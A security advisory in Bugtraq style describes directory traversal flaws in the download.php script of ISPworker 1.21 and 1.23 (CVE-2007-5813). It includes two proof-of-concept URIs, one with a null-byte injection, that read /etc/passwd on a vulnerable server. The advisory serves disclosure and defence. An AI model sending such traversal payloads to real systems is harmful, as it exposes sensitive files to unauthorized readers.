ISPworker Download.PHP Multiple Directory Traversal Vulnerabilities

Bugtraq ID:	26277
Class:	Input Validation Error
CVE:	CVE-2007-5813
Remote:	Yes
Local:	No
Published:	Oct 31 2007 12:00AM
Updated:	Dec 02 2009 12:14AM
Credit:	GoLd_M
Vulnerable:	ISPware ISPworker 1.23 ISPware ISPworker 1.21
Not Vulnerable:

ISPworker Download.PHP Multiple Directory Traversal Vulnerabilities

ISPworker is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to obtain sensitive information that could aid in further attacks.

These issues affect ISPworker 1.21 and 1.23; other versions may also be affected.

ISPworker Download.PHP Multiple Directory Traversal Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/module/ticket/download.php?ticketid=../../../../../../../../../etc/passwd%00
http://www.example.com/module/ticket/download.php?filename=../../../../../../../../../etc/passwd

ISPworker Download.PHP Multiple Directory Traversal Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

ISPworker Download.PHP Multiple Directory Traversal Vulnerabilities

References:

• ISPWorker Homepage (ISPware)